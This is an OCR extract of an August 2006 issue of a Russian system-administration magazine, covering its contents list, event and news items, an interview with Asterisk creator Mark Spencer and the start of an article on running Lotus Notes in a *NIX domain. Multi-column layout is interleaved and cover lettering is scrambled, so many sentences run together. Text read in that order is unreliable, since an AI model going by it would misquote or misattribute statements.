Вы находитесь на странице: 1из 98

№8(45) август 2006

подписной индекс 20780


www.samag.ru

Windows Firewall:

№8(45) август 2006


защищаем внутренние
ресурсы сети
Биллинг на FreeBSD:
пишем сами
Проводим инвентаризацию
сети средствами SMS 2003
Как устроена
файловая система JFS
Тестируем
движки поисковых машин
Настраиваем
DrWeb Enterprise Suite
Аудит и дизассемблирование
эксплоитов
Интервью
с cоздателем Asterisk
Так видит журнал читатель, который забыл оформить подписку:
№5(30) май 2005
подписной индекс 81655

СЬ
www.samag.ru

И
Почему MS SQL медленно работает?

ИЛ
Ищем причины
ЛИ
ТЯ Е

Строим защищенную беспроводную сеть:


ЗА ДНИ

Ж П
WPA-Enterprise, 802.1x EAP-TLS
НУ

РА КУ
Настраиваем UPS под Linux
ЛЫ ГО

ТИ РАС
Как восстановить
удаленные файлы под BSD
КУ ВО

Что важно знать об IP-телефонии

РО
танавливаем Symantec Antivirus 9.0
НИ НО

в корпоративной сети

СТ
Эффективно управляем
полями пользователей в AD

БЫ
Контролируем безопасность сети
с помощью OSSIM
КА

Интервью с Ларри Уоллом –


создателем языка Perl

И
ЬГ
ЬД О
РА СКА
ТЕ
К

ИС НН
ЕН
УС

БО
НА ТПУ

ИЛ ДА
ТП

НЧ ЖИ
ВО

РА Е О

КО НЕО
АВ С Л
Л

Л
ХА

ПО
УЕ

ЗА
Так видит журнал читатель, оформивший подписку:
№5(30) май 2005
подписной индекс 81655
www.samag.ru

Почему MS SQL медленно работает?


Ищем причины
Строим защищенную беспроводную сеть:
WPA-Enterprise, 802.1x EAP-TLS
Настраиваем UPS под Linux
Как восстановить
удаленные файлы под BSD
Что важно знать об IP-телефонии
танавливаем Symantec Antivirus 9.0
в корпоративной сети
Эффективно управляем
полями пользователей в AD
Контролируем безопасность сети
с помощью OSSIM
Интервью с Ларри Уоллом –
создателем языка Perl

ПОДПИШИТЕСЬ И ЧИТАЙТЕ!
Роспечать – 20780, 81655
Пресса России – 87836
Интер-почта – тел. (495) 500-00-60
в номере
3 СОБЫТИЯ ЧЕЛОВЕК НОМЕРА
5 ТЕНДЕНЦИИ 50 Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II
ИНТЕРВЬЮ Стив Возняк верит в сказки и сам создает их.
Оксана Родионова
6 Марк Спенсер: «Это Asterisk привлекает rodion@dol.ru
пользователей к Linux, а не наоборот»
Интервью с создателем популярной программной офис- БЕЗОПАСНОСТЬ
ной станции Asterisk. Дмитрий Шурупов
osa@samag.ru 54 Windows Firewall:
защищаем внутренние ресурсы сети
АДМИНИСТРИРОВАНИЕ Сейчас локальная сеть любой, даже совсем небольшой
организации защищена от внешних угроз. Настолько ли
8 Lotus Notes на Windows 2K/XP хорошо защищены ресурсы внутренней сети?
в *NIX-домене Андрей Бирюков
Одна из схем настройки работы клиента Lotus Notes mex_inet@rambler.ru
на рабочих станциях с Windows 2K /XP в домене
на *NIX-сервере. Мыкола Буряк 58 Аудит и дизассемблирование эксплоитов
x86@gmx.net Эксплоиты, демонстрирующие наличие дыры (proof-of-
concept), обычно распространяются в исходных текс-
12 Проводим инвентаризацию сети тах, однако, основной функционал заключен в shell-
средствами SMS 2003 коде, анализ которого представляет весьма нетриви-
Хорошо настроенный SMS существенно сократит ва- альную задачу. Крис Касперски
ше время, затрачиваемое на рутинную работу по ин- kk@sendmail.ru
вентаризации сети. Дмитрий Щербаков
dimich_25@mail.ru 68 Настраиваем DrWeb Enterprise Suite
Один из способов защитить предприятие от вирус-
18 Современный Linux-сервер: ной активности. Антон Борисов
виртуализируем сетевые устройства a.borisov@tesv.tmb.ru
Часть 2
Воплотить схему виртуализации совершенно неслож- WEB
но. А дополнительно можно построить адаптивную сис-
тему коммутации. Алексей Барабанов 74 Контролируем доступ к веб-сервису
alekseybb@mail.ru с помощью DACS
Если для настольных систем проблему аутентифика-
26 Как работает Sendmail? ции и авторизации можно считать решенной, то стан-
Полезные подробности дартные механизмы, используемые в веб-сервисах,
Часть 4: взаимодействие со сторонними пока еще не удовлетворяют современным требовани-
программами ям безопасности. Сергей Яремчук
Возможностей Sendmail не всегда хватает для реше- grinder@ua.fm
ния всего многообразия задач. Но открытость ПО тем
и хороша, что позволяет наращивать мощь практичес- 80 Тестируем движки поисковых машин
ки без ограничений. Сергей Супрунов Большинство из вас каждый день пользуется поис-
amsand@rambler.ru ковыми машинами в Интернете. Какие они изнутри
и чем отличаются? Иван Максимов
34 Биллинг на FreeBSD: ivan_maksimov@inbox.ru
пишем сами, используя PHP, trafd и MySQL
Если пользователи жалуются, что Интернет «тормозит», РЕТРОСПЕКТИВА
а начальство ругается, что счета от провайдера слиш-
ком большие, покупка готового биллинга – не единс- 86 Сеть друзей: история Fidonet
твенный выход. Александр Чагадаев Фидо… Для кого-то это слово – пустой звук, для мно-
adc@a-d-c.ru гих из вас – часть жизни, пусть, быть может, и прошлой.
Но история первого в России компьютерного сообщес-
40 Обзор дистрибутива Ubuntu 6.06 тва будет интересна каждому. Илья Александров
Вышла новая версия уже почти культового дистрибу- ilya_al@rambler.ru
тива, который ворвался на рынок Linux-систем и по
показателю популярности оставил позади даже таких
«монстров», как Fedora Core и OpenSUSE.
Сергей Супрунов
amsand@rambler.ru КНИЖНАЯ ПОЛКА
42 Как устроена файловая система JFS 92 Обзор книжных новинок
Показатели производительности файловой системы JFS Александр Байрак
не впечатляют. Хотя она спроектирована стройно и чет- x01mer@pisem.net
ко, а алгоритмы обработки данных и метаданных отли-
чаются высокой степенью оптимизации. Попробуем ра- 73, 91, 94 BUGTRAQ
зобраться, в чем же дело. Андрей Пешеходов
fresco_pap@mail.ru

№8, август 2006 1


события
В Москве одновременно пройдут четыре  Linux для встраиваемых и мобильных устройств.
международные IT-выставки  Презентации продуктов и решений крупных компаний.

 Когда: 4-5 сентября Среди докладчиков – признанные эксперты мирового


 Где: г. Москва, Экспоцентр на Красной Пресне, уровня: Troy Dawson (Fermilab Computing Division/CSS CSI
павильон №2 (Краснопресненская наб., 14) Group); Jim Zemlin (исполнительный директор FSG), а так-
 Подробности: http://www.linuxworldexpo.ru же представители Минэкономразвития России, Центра
http://www.infosecuritymoscow.com Верификации Linux, IBM, консорциума GO4IT, компаний
http://www.storage-expo.ru Linux Инк, Monta Vista, PalmSource, Бюро ЮНЕСКО, ФАИТ
http://www.documation.ru и другие.
Зарегистрировавшись на Linux World, вы сможете также
Четыре одновременные международные выставки- посетить проходящие одновременно в Экспоцентре специ-
конференции: LinuxWorld Russia, Infosecurity Russia, ализированные выставки Infosecurity Russia 2006, Storage
Storage Expo и Documation – одно из самых значимых Expo 2006 и Documation Russia 2006.
событий в IT-сфере. В этом году в рамках Infosecurity Russia предусмотрена
Здесь соберутся все ведущие отечественные и зарубеж- насыщенная деловая программа, включающая в себя трех-
ные IT-специалисты, а также представители делового ми- дневную конференцию «ИБ: международный опыт + рос-
ра, заинтересованные в применении современных инфор- сийская практика», а также более 60 круглых столов, се-
мационных технологий в бизнесе. минаров и презентаций компаний.
LinuxWorld – ведущая международная выставка-кон- Острые темы обсуждения круглых столов и дискуссий:
ференция, посвящённая Linux и решениям с открытым ис-  Новые угрозы безопасности информации.
ходным кодом. Это уникальная площадка для демонстра-  Перспективы IT-сферы после вступления России
ции любых продуктов, приложений, решений и услуг в об- в ВТО.
ласти Open Source!  Концепции безопасности бизнеса в различных отрас-
Бесплатная деловая программа: лях.
 Электронное правительство: повышения качества уп-  Решения проблем ИБ на примере Олимпиады-2006 в Ту-
равления за счет решений Open Source. рине.
 Открытые стандарты.  Возможности продвижения российских продуктов
 Построение корпоративной IT-инфраструктуры на базе на международном рынке.
Open Source-решений.
 Средства обеспечения информационной безопасности. Среди докладчиков – признанные эксперты мирового
 Технологии кластеризации. уровня: Каролин Турбифилл (экс-глава Internet Commerce
 Распределенные информационно-вычислительные Group в Sun Microsystems; вице-президент Counterpane
комплексы (P2P, Grid, поисковые машины, порта- Internet Security); Брюс Шнайер (основатель Counterpane
лы и др.). Internet Security; известный специалист по криптогра-
 Технологии визуализации. фии); Стив Хант (экс-аналитик Forrester Research; прези-
 Новейшие разработки. дент 4A International), Александр Владимирович Галицкий

№8, август 2006 3


события
(консалтинг; российский президент European Tech Tour LinuxLand/SofTool’2006
Russian 2004).
Темы дискуссий на трехдневной конференции Storage  Когда: 26-29 сентября
Expo:  Где: г. Москва, ВВЦ, павильон № 69
 Тенденции и направления развития рынка систем хра-  Подробности: http://www.linuxland.ru
нения.
 Виртуализация в системах хранения. Компании ИТ-Экспо и Линуксцентр приглашают вас
 Технологии гарантированного долговременного хране- принять участие в выставке информационных техно-
ния данных. логий SofTool’2006, где планируется собрать ведущие
 Обеспечение непрерывности бизнес-процессов. российские Linux-компании в одном секторе выставоч-
 Альтернативные технологии доступа к данным. ной площади LinuxLand.
 Технологии резервного копирования. SofTool’2006 – единственное мероприятие, где Linux-
 Вопросы архивирования корпоративных данных. компании получат возможность представить свои продук-
 Взаимосвязь и взаимовлияние бизнес и storage-реше- ты конечным пользователям и корпоративным клиентам од-
ний и другие вопросы. новременно. Это самое массовое из проводимых в данной
отрасли мероприятий. На LinuxLand соберутся поставщи-
Выставка и конференция Documation сфокусирована ки Linux и различных решений для этой ОС: Mandriva, IBM,
на новейших решениях и технологиях в области эффектив- Novell, R-Style, HP, Oracle, ASPLinux, Linux-Online (разработ-
ного управления информацией, электронного документо- чик Linux XP), НПО «Сеть» (разработчик MOPSLinux), Bitrix,
оборота и контент-менеджмента. ПРОМТ, Etersoft и Linuxcenter.ru, журнал Linux Format, обра-
Особое внимание будет уделяться бесплатной конфе- зовательный центр Lynx Education Center и другие. Помимо
ренции с докладами от ведущих экспертов отрасли, а так- выставочных стендов, на экспозиции традиционно будет
же демонстрации продуктов и услуг от крупнейших пред- расположена демо-зона, где посетители LinuxLand смогут
приятий рынка. Documation собирает профессиональную познакомиться с предлагаемыми продуктами.
аудиторию всех тех, кто стремится управлять своей дело- В этом году в рамках LinuxLand состоится междуна-
вой информацией эффективно и выгодно. родная конференция «ИТО-2006: Технологии Linux и Open
Темы дискуссий: Source», первый день будет посвящен обсуждению про-
 Управление жизненным циклом информации. грамм внедрения Open Source в образование ЮНЕСКО, до-
 Безопасность данных и информации в СЭД. кладам и презентациям лидеров Linux-индустрии и Linux-об-
 Проблемы внедрения, успехи внедрения, модели внед- разования. В остальные дни пройдут мастер-классы и тре-
рения. нинги по технологиям Linux и Open Source. Участники кон-
 Вопросы стандартизации и сертификации СЭД, обме- ференции получают кейсы со сборниками трудов, учебными
на данными между различными СЭД. пособиями и дистрибутивами Linux и Open Source. Для по-
лучения материалов необходима регистрация.
Регистрация на выставки-конференции: http://www. Зарегистрироваться для участия в конференции в ка-
linuxworldexpo.ru/ticket.ru.html, http://www.infosecuritymoscow. честве слушателя вы можете по адресу: http://www.linuxland.
com/ticket.ru.html, а также на любом из сайтов выставок. ru/conf.phtml.

4
тенденции
Corel восстановила прибыльность, ентированные на бизнес возможности к основному продук-
отойдя от Linux-бизнеса ту и включают в себя услуги поддержки. Об этом стало из-
Корпорация Corel, пережив 6 лет финансовых трудностей вестно от президента и основателя Hyperic Хавьера Сол-
и реорганизаций, объявила о возвращении к публичной теро (Javier Soltero).
торговле с многообещающими отчетами за первый и вто-
рой кварталы 2006 года, отмечает NewsForge. Как сообщил Стартовал первый «Сезон KDE»
Грэхэм Браун (Graham Brown), исполнительный вице-прези- Разработчики популярной свободной графической оболоч-
дент разработки программного обеспечения в Corel, одним ки KDE объявили о запуске первого «Сезона KDE».
из шагов для этого стал отказ компании от Linux-продуктов: Season of KDE – проект, дополняющий «Лето кода»
WordPerfect for Linux и Corel Linux. В 2001 году Xandros ли- и призванный так или иначе довести до логического кон-
цензировала у Corel права на код Corel Linux. В 2002 году, ца разработку всех приложений, которые не стали фина-
когда вышли следующие версии WordPerfect Office, Corel листами в студенческой инициативе Google. Уже объяв-
перестала поддерживать редакции для GNU/Linux. В 2003 лено о том, что 14 студентов дали согласие на разработку
году Vector Capital приобрела Corel, после чего она стала своих проектов даже без финансовой поддержки со сто-
частной компанией, ориентированной на Windows-рынок. роны Google. Подробности о «Сезоне KDE» 2006 доступны
Браун охарактеризовал решение Corel отказаться на http://developer.kde.org/seasonofkde.
от Corel Linux как «успешную стратегию для Corel и как ран-
ний шаг навстречу переориентации бизнеса». Поправка к новости «Проект FreeDOS
Тем не менее Corel продолжает проявлять интерес к сво- официально закрыт» из прошлого
бодной ОС GNU/Linux. Помимо того, что у компании сохра- выпуска
нились отношения с Xandros (связанные с разработкой дист- Cообщение о смерти свободной ОС FreeDOS оказалось
рибутива), Corel продавала обновленную версию текстового лишь «шуткой» автора проекта. В день 12-летия FreeDOS
процессора WordPerfect for Linux на своем веб-сайте в 2004 Джим Холл (Jim Hall) действительно поместил на главной
году на протяжении 6 месяцев. Этот шаг, по словам Брауна, странице freedos.org новость о смерти проекта, однако в от-
был нацелен на то, чтобы «помочь оценить положение рын- вет на реакцию сообщества он заявил, что это была лишь
ка офисных пакетов для Linux». Однако назвать результаты «ужасная шутка». Более того, в ближайшее время состоит-
позитивными трудно: «На данный момент мы не наблюда- ся финальный релиз FreeDOS 1.0.
ем достаточного спроса от наших основных потребителей
и заказчиков из сферы малого бизнеса для того, чтобы га- Составил Дмитрий Шурупов
рантировать разработку наших Linux-продуктов». по материалам www.nixp.ru

NetBSD получила полную


поддержку Xen 3
Благодаря усилиям Мануэля Боуйера (Manuel Bouyer) в сво-
бодной операционной системе NetBSD появилась полная
поддержка свободного средства виртуализации Xen 3. Под-
держка Xen3 DomU действовала в NetBSD еще с конца мар-
та, однако добавленная недавно функциональность позво-
ляет также запускать контролирующий или привилегиро-
ванный Xen3-домен под NetBSD. Подробности доступны на
сайте порта NetBSD/xen (http://www.netbsd.org/Ports/xen).

Hyperic перестраивает бизнес


на Open Source
Начинающая компания из Сан-Франциско (США) Hyperic
запустила проект Open Source вокруг своего одноименно-
го ПО с целью дополнить корпоративное ПО управления
дешевым продуктом и бизнес-моделью открытого кода.
Hyperic опубликовала исходный код программного обес-
печения Hyperic HQ и открыла веб-сайт для пользовате-
лей и разработчиков, которые, как полагают в компании,
помогут с устранением ошибок и написанием различных
дополнений.
ПО управления Hyperic HQ следит за тем, что проис-
ходит в сетях организации и оповещает администраторов
о том, что произошло то или иное событие. Hyperic будет
распространять это свое ПО бесплатно под свободной ли-
цензией GNU GPL. Деньги же планируют зарабатывать на
корпоративных подписках, что добавляют различные ори-

№8, август 2006 5


интервью

Марк Спенсер: «Это Asterisk привлекает


пользователей к Linux, а не наоборот!»

Крупные конференции позволяют взглянуть на давно знакомых людей с другой стороны.


На прошедшем в конце июня мероприятии Interop Moscow представилась возможность
пообщаться с лучшими представителями IT-индустрии, прямым образом повлиявшими
на ее положение сегодня. Один из них – Марк Спенсер.

Б
лагодаря своей увлеченнос- ент Gaim. Поэтому открытый исходный Открытость кода – главный фак-
ти открытым ПО и стечению код казался мне чем-то естественным. тор, сделавший Asterisk таким по-
обстоятельств он смог совер- Кроме того, важным фактором в поль- пулярным?
шить маленькую революцию в те- зу Open Source было и то, что ПО со- Факторов, конечно же, много, и не сто-
лекоммуникациях и подарил миру здавалось для Linux. ит ограничиваться одной открытос-
мощную, а главное – свободную за- тью. Все зависит от того, кто исполь-
мену дорогостоящим коммерческим Если это так, то не совсем понятно, зует Asterisk. Для небольших компа-
PBX – Asterisk. Марк поделился мыс- почему же ныне здравствует поли- ний более важным фактором являет-
лями об этом продукте и об откры- тика двойных стандартов (двойно- ся существенная экономия, получае-
том ПО в интервью нашему коррес- го лицензирования) в отношении мая при выборе Asterisk. Для крупных
понденту. к Asterisk, ведь проблемы с коде- компаний стоимость не играет столь
ками вроде G.729 можно решить существенной роли – для них дейс-
Asterisk создавался для исполь- публикацией продукта под какой- твительно важнее возможность само-
зования в рамках одной компании нибудь BSD-подобной лицензией, стоятельно изменять код под свои за-
как продукт с ограниченным набо- позволяющей совмещать закрытые просы, что и обеспечивается моделью
ром необходимых функций. Выби- разработки с открытыми. Open Source.
рать для такого ПО свободную ли- Мы стремимся сделать продукт гиб-
цензию – явление незаурядное. По- ким, насколько это возможно. Таким Монолитная модель программы тра-
чему Open Source? образом, пользователи в зависимос- диционно является препятствием на
Это не первый мой программный про- ти от своих потребностей получают ли- пути к включению новых возмож-
дукт подобного рода. Мое увлечение бо полностью открытую версию, либо ностей. Как удается сохранять вы-
Open Source возникло еще задолго редакцию, которая поддерживает все сокий уровень стабильности и свое-
до того, как появилась необходимость (в том числе технологии, требующие временно совершенствовать про-
в подобном приложении. Например, внедрения закрытого кода), но за до- дукт, отвечая на потребности поль-
раннее я написал открытый IM-кли- полнительную стоимость. зователей и рынка?

6
интервью
Asterisk разрабатывается как Linux-яд-
ро. Важно следить за тем, чтобы добав- Марк Спенсер торое время после основания фирмы, за-
ляемые части кода не влияли на пра- Родился в семье двух профессоров и уже нимающейся Linux-консалтингом, Марку
вильность функционирования написан- в 8-м классе написал и продал программу потребовалось установить офисную те-
ного ранее. Благодаря подключаемым своему учителю за 5 долларов. Позже он лефонную станцию. Однако все доступ-
модулям Asterisk является масштаби- стал автором таких известных в сообщест- ные решения были слишком дорогостоя-
руемым, его можно начинать использо- ве Open Source-проектов, как клиент мгно- щими, он не мог себе их позволить и поэ-
вать с прицелом на расширение набора венного обмена сообщениями Gaim (http:// тому решился на написание собственной,
выполняемых функций в будущем. При gaim.sourceforge.net) и программная офис- открытой PBX.
этом в небольшой объем удается вмес- ная телефонная станция (PBX) Asterisk Теперь Asterisk используется множест-
тить все необходимые возможности. (http://www.asterisk.org). История создания вом компаний по всему миру, а фирма Спен-
последней весьма интересна: через неко- сера Digium занимается ее поддержкой.
Но в прошлом году от Asterisk от-
ветвился проект OpenPBX. Чем это возможности, за долгое время сущес- Теперь я его только использую. На мой
вызвано? Реакцией сообщества твования продукта сложилось силь- взгляд, это пример фантастическо-
на медлительность в добавлении ное и крупное сообщество. А начинать го успеха программного обеспечения
новых функций, недовольством об- с нуля подобный проект сложно, и ему с открытым кодом. Разработкой Gaim я
щим направлением развития? потребуется не один год для того, что- занимался около трех месяцев – прос-
Очень важно соблюдать постоянный бы достич серьезного уровня. Кроме то для экспериментирования в приме-
баланс между включением новых воз- того, многие компании уже сейчас за- нении GTK+. Однако опыт, полученный
можностей в код продукта и сохране- рабатывают на Asterisk. в ходе его создания и работы с сооб-
нием его стабильности. Естествен- ществом, стал очень полезным в бу-
но, находятся люди, которые счита- Способствует ли резкий рост попу- дущем – он демонстрирует, насколько
ют, что в Asterisk не всегда достаточно лярности Linux (в том числе и в те- значительной может оказаться любая
быстро появляются какие-то новшест- лекоммуникационной среде, где от- Open Source-практика.
ва. Но ведь мы еще заботимся и о ста- крытую ОС продвигают организа-
бильности, и о чистоте кода. Это не- ции вроде лаборатории OSDL) рас- Каким вы видите будущее програм-
простая задача, впрочем, еще ни один пространению Asterisk? много обеспечения: полностью от-
из ответвившихся проектов не был ус- Пожалуй, текущая ситуация носит диа- крытое, полностью проприетарное,
пешным. метрально противоположный харак- или эти два направления будут как-
тер: скорее, благодаря Asterisk поль- то смешиваться?
На последовавшее предположе- зователи переходят на Linux. Посто- Перспективы мне видятся в смеше-
ние о существовании каких-либо се- янно встречаются клиенты, которым нии продуктов с открытым и закры-
рьезных каналов связи между Asterisk по тем или иным причинам симпатичен тым кодом. Модель Open Source ус-
и его ответвлениями Марк ответил от- Asterisk и они мигрируют на родную для пешна по двум причинам: такое ПО
рицательно, добавив, что это только него платформу. В свою очередь Linux- может быстро захватывать огром-
на первый взгляд (создаваемых проек- пользователи не так часто отказыва- ную часть рынка и оно может совер-
тов) так просто поддерживать и разви- ются от уже применяемых ими реше- шенствоваться благодаря поправкам
вать подобную кодовую базу, но стоит ний в пользу Asterisk. и новшествам, добровольно добавля-
только взяться за дело, как возникает емым людьми со всего мира. В то же
множество трудностей. В полушутли- Ответ на вопрос о поддержке Asterisk время на рынке настольных ПК сложи-
вой манере он отметил, что не хотел гигантами IT-индустрии не удивил упо- лась такая ситуация, что люди знают,
бы возникновения ситуаций вроде ис- минанием таких компаний, как IBM как использовать Windows – им обыч-
ка SCO против IBM/Linux. и Intel, на blade-серверах которых пре- но не представляется интересным пе-
красно функционирует свободная PBX. реучиваться на что-то другое. Зато им
Вашей компании Digium удалось до- Здесь все логично: раз они продвига- нужны инновации, а здесь уже лидерс-
биться заметных успехов в телеком- ют Linux-серверы для предприятий во- тво на стороне Open Source.
муникационном бизнесе. Не ожида- обще, то почему бы и не обеспечивать В конечном итоге для любого пот-
ете ли вы, что это может привести поддержку предназначенного для них ребителя есть три критерия оценки
к появлению множества компаний, ПО с открытым кодом в виде Asterisk, продукта: цена, производительность
которые попробуют повторить ваш что может пригодиться практически лю- и простота использования. Поэтому
путь, а в итоге – к Open Source-ре- бой компании. Пришло время подиску- производители стремятся ориентиро-
волюции в телекоммуникационной тировать на более отвлеченные от глав- ваться на достижение наиболее удач-
индустрии? ного детища Спенсера вопросы. ной комбинации этих критериев, выби-
До тех пор пока наш проект не прова- рая соответствующие запросам про-
лился, достаточно трудно выйти на ры- Вы являетесь автором другого по- граммные средства.
нок телекоммуникаций с собственной пулярного Open Source-проекта –
открытой PBX. Asterisk делает свою Gaim. Что он для вас значит сейчас, текст: Дмитрий Шурупов,
работу, оперативно получает новые помогаете ли вы его развитию? фото: Йон Холл

№8, август 2006 7


администрирование

Lotus Notes на Windows 2K/XP


в *NIX-домене

Мыкола Буряк
Хотите разместить на home персональные файлы пользователей Lotus Notes? И при этом
сохранить полную функциональность клиента? Ищете простой переход на безопасную схему?
Тогда эта статья для вас!

В
о многих крупных организациях Сегодня семейство клиент-сер- Стоимость одной лицензии IBM Lotus
стандарт де-факто для группо- верных приложений Lotus Notes Notes with messaging с поддержкой
вой работы в локальной, распре- и Domino входит в число ведущих про- в течение 12 месяцев составляет 96,11
деленной и глобальной сетях – комп- граммных продуктов в отрасли, и мно- доллара США. Минимальное количес-
лексное решение Lotus Notes и Domino гие компании считают это ПО осно- тво клиентских лицензий ограничено
корпорации IBM. C момента появления вой для эффективной и продуктив- в 100 единиц.
первой версии Notes в конце 1989 года ной работы.
миллионы пользователей используют Приведу ориентировочные цены Стандартные
Lotus Notes и Domino как базовую кор- на некоторые продукты Lotus Software. возможности
поративную коммуникационную инф- Стоимость одной лицензии IBM Lotus Теперь перейдем к настройке много-
раструктуру для коллективного взаи- Domino Messaging Server с поддержкой пользовательской среды на базе *NIX/
модействия и совместного использо- в течение 12 месяцев составляет 1225 Windows для оптимального функцио-
вания информационных ресурсов. долларов США за один процессор [3]. нирования Lotus Notes.

8
администрирование

Серверы и клиенты па Client Access License (CAL). Такие узер. В отличие от пользователей Lotus
Семейство продуктов Domino Server состо- приложения могут бать расположены Notes, пользователям Lotus Domino
ит из трех основных видов серверов [1]: на Intranet-, Extranet- или интернет-сай- Web Access требуется только стандар-
 IBM Lotus Domino Messaging Server – те и доступны как авторизованным, так тный веб-браузер.
предназначен только для доступа и неавторизованным пользователям  IBM Lotus Domino Access for Microsoft
к функциям обмена сообщениями через клиент Notes или браузер. Outlook – предоставляет пользовате-
и планирования Domino. Этот вид сер- лям Microsoft Outlook 2000/2002 среду
вера предусматривает поддержку Семейство продуктов Lotus Notes со- Domino, доступ к функциям электрон-
разбиения на разделы, позволяющую стоит из следующих клиентских мест: ной почты и календаря и к другим воз-
иметь несколько экземпляров серве-  IBM Lotus Notes – сочетает в едином можностям Lotus Domino, в том числе
ров Domino на одном и том же физи- клиенте интегрированные функции к полнотекстовому поиску.
ческом сервере. электронной почты, календаря, груп-  IBM Lotus Domino WebMail – предо-
 IBM Lotus Domino Enterprise Server – пового планирования и управления ин- ставляет пользователям экономичный
предоставляет все функции коллектив- формацией в Web. Данный вид клиен- доступ (через веб-браузер) к функциям
ной работы в Domino, а также функции та имеет широкий спектр инструментов электронной почты и календаря Lotus
обмена сообщениями и планирования. для организации коллективной работы Domino.
В дополнение к поддержке разбиения и обмена сообщениями.  IBM Lotus Workplace Messaging – по-
на разделы сервер Enterprise предус-  IBM Lotus Domino Web Access – пред- могает легко и без значительных за-
матривает поддержку кластеризации. лагает удобные способы для получе- трат расширить корпоративную систе-
 IBM Lotus Domino Utility Server – пре- ния доступа к базовым функциям Lotus му обмена сообщениями для охвата со-
доставляет неограниченный доступ Domino в области организации коллек- трудников, не имеющих собственного
к основанным на Domino приложени- тивной работы и обмена сообщения- рабочего стола и доступа к электрон-
ям без лицензии клиентского досту- ми, инструментам PIM через веб-бра- ной почте.

Пусть на рабочих станциях будет установлена ОС из ли- пользователей в роуминг-пользователей, выберете на сер-
нейки Windows, например, Windows 2K/XP, с клиентом вер- вере Lotus Domino нужных вам пользователей и активизи-
сии Lotus Notes 6.5.х. Рабочие станции входят в домен под руйте им опцию Roaming User (см. рис. 1). Последнее поз-
управлением *NIX-системы, с установленной SAMBA вер- волит серверу Lotus Domino осуществлять и контролировать
сии 2.2.x в том числе. Все пользователи имеют учетные за- копирование персональных файлов пользователя Lotus
писи и бюджет на доменном *NIX-сервере. Каждому предо- Notes с рабочей станции каждого пользователя на серве-
ставлен сетевой диск (home) и загрузочный bat-фалы (ло- ры Lotus Domino и обратно. Роуминг-пользователи могут
гонные скрипты). Также есть физически удаленный сервер работать только с клиентом, установленным как multi-user
Lotus Domino версии 6.5.х. install. Отмечу, что при конфигурации Roaming User копи-
Для многопользовательской среды, когда за одним руются только базовые персональные настройки пользова-
компьютером работают несколько пользователей, т.е. нет теля, что ограничивает функциональность Lotus Notes. Так-
закрепленного рабочего места за каждым пользовате- же к недостаткам можно отнести то, что ощутимо возраста-
лем, предусмотрен такой вид инсталляции Lotus Notes, ет трафик между рабочими станциями и сервером. В слу-
как multi-user install [4]. Этот вид установки предназначен чае когда количество пользователей несколько сотен чело-
только для Windows-систем и позволяет каждому пользо- век, а пропускная способность канала весьма ограничена,
вателю сохранять свои персональные рабочий стол, ад- то указанный вариант становится непрактичным.
ресную книгу, свойства и др. всегда обновленными. Про-
граммные файлы инсталлируются в общую директорию,
например, в C:\Lotus\Notes, а персональные файлы поль-
зователей, включая конфигурационный notes.ini, хранятся
в директории C:\Documents and Settings\<username>\Local
Settings\Application Data\Lotus\Notes\Data. Если в конфигу-
рации доменного *NIX-сервера нет возможности активизи-
ровать функцию записи поддиректории Local Settings вмес-
те с профайлом пользователя на доменный сервер, а коли-
чество пользовательских файлов Lotus Notes и соответс-
твенно их объем остаются неограниченными, то данный
вид инсталляции теряет свою функциональность. В гете-
рогенной среде *NIX/Windows всегда имеется большая ве-
роятность частичной потери или повреждения профайла
пользователя при загрузке и выгрузке профиля на рабо-
чую станцию и с неё.
Картина будет неполной, если я не упомяну такой вид
Рисунок 1. Активация опции Roaming User на сервере
пользователя, как Roaming User. Чтобы перевести обычных Lotus Domino

№8, август 2006 9


администрирование
Требования к серверной части [2]
Платформа Windows 2000 Windows NT Windows 2003 AIX Linux Solaris
Red Hat Enterprise Linux 2.1;
Windows 2003 Server
Windows 2000 Server; AIX 5.1; Red Hat Enterprise Linux 3.0;
Standard Edition; Solaris 8;
Поддерживаемые ОС Windows 2000 Windows NT4 Intel AIX 5.2; SUSE LINUX Enterprise Server 8.0;
Windows 2003 Server Solaris 9
Advanced Server AIX 5.3 UnitedLinux 1.0;
Enterprise Edition
Powered by UnitedLinux 1.0
PowerPC, POWER,
Поддерживаемые
Intel Pentium POWER2, POWER3 Intel x86 UltraSPARC and newer
процессоры
RS64, POWER5
192 Мб минимум, 192 Мб минимум,
128 Мб минимум, 128 Мб минимум, рекомендуется
ОЗУ 256 Мб минимум рекомендуется рекомендуется
рекомендуется 192 Мб или больше 192 Мб или больше
256 Мб или больше 256 Мб или больше
Дисковое пространство 1 Гб минимум, рекомендуется 1.5 Гб или больше 1 Гб минимум, рекомендуется 1.5 Гб или больше
Дисковое пространство
В 2 раза больше физического ОЗУ В 3 раза больше физического ОЗУ
для SWAP

Тонкая настройка xcopy "C:\Lotus\Notes\Data\pid.nbf" ↵


"H:\Lotus\Notes\Data\" /d /c /h /r /y
Явный вариант решения нашей задачи – разместить пер- xcopy "C:\Lotus\Notes\Data\headline.nsf" ↵
сональные файлы Lotus Notes на сетевых дисках пользо- "H:\Lotus\Notes\Data\" /d /c /h /r /y
xcopy "C:\Lotus\Notes\Data\desktop6.ndk" ↵
вателей. При этом в настройках Lotus Notes нужно про- "H:\Lotus\Notes\Data\" /d /c /h /r /y
писать путь к персональным файлам. В домене, осно-
ванном на Active Directory, указанный выше вариант бу- Logoff_script.vbs в невидимом окне вызывает пакет-
дет беспрепятственно работать без каких-либо ограниче- ный файл lotus_copy.cmd. После чего происходит за-
ний [5]. При реализации этого решения в нашем сценарии держка на 5 секунд для того, чтобы успел выполниться
*NIX-сервер будет блокировать множество сетевых запро- lotus_copy.cmd.
сов клиента Lotus Notes к персональным файлам пользо- Lotus_copy.cmd при отключении пользователя с рабо-
вателей. Вследствие этого корректное функционирова- чей станции копирует часть персональных файлов на се-
ние клиента Lotus Notes будет проблематичным или кли- тевой диск, например H:\.
ент вообще откажет в работе. Поэтому предлагаю схему На общедоступном ресурсе размещаем папку new_
настройки Lotus Notes и Domino в данной многопользова- lotus, в корне которой находятся файлы logon_lotus.cmd,
тельской среде: lotus_save_lite.cmd и lotus_notes_6_5.lnk.
Учетные записи пользователей на сервере Lotus Domino Logon_lotus.cmd – пакетный файл, вызываемый из за-
настроены стандартным образом без активации опции грузочных bat-файлов каждого пользователя на домен-
Roaming User. На каждой рабочей станции устанавливает- ном *NIX-сервере, копирующий файлы Lotus Notes с дис-
ся стандартный вид инсталляции для одного пользователя ка H:\ на C:\.
в директорию C:\Lotus\Notes. Далее необходимо на каждую
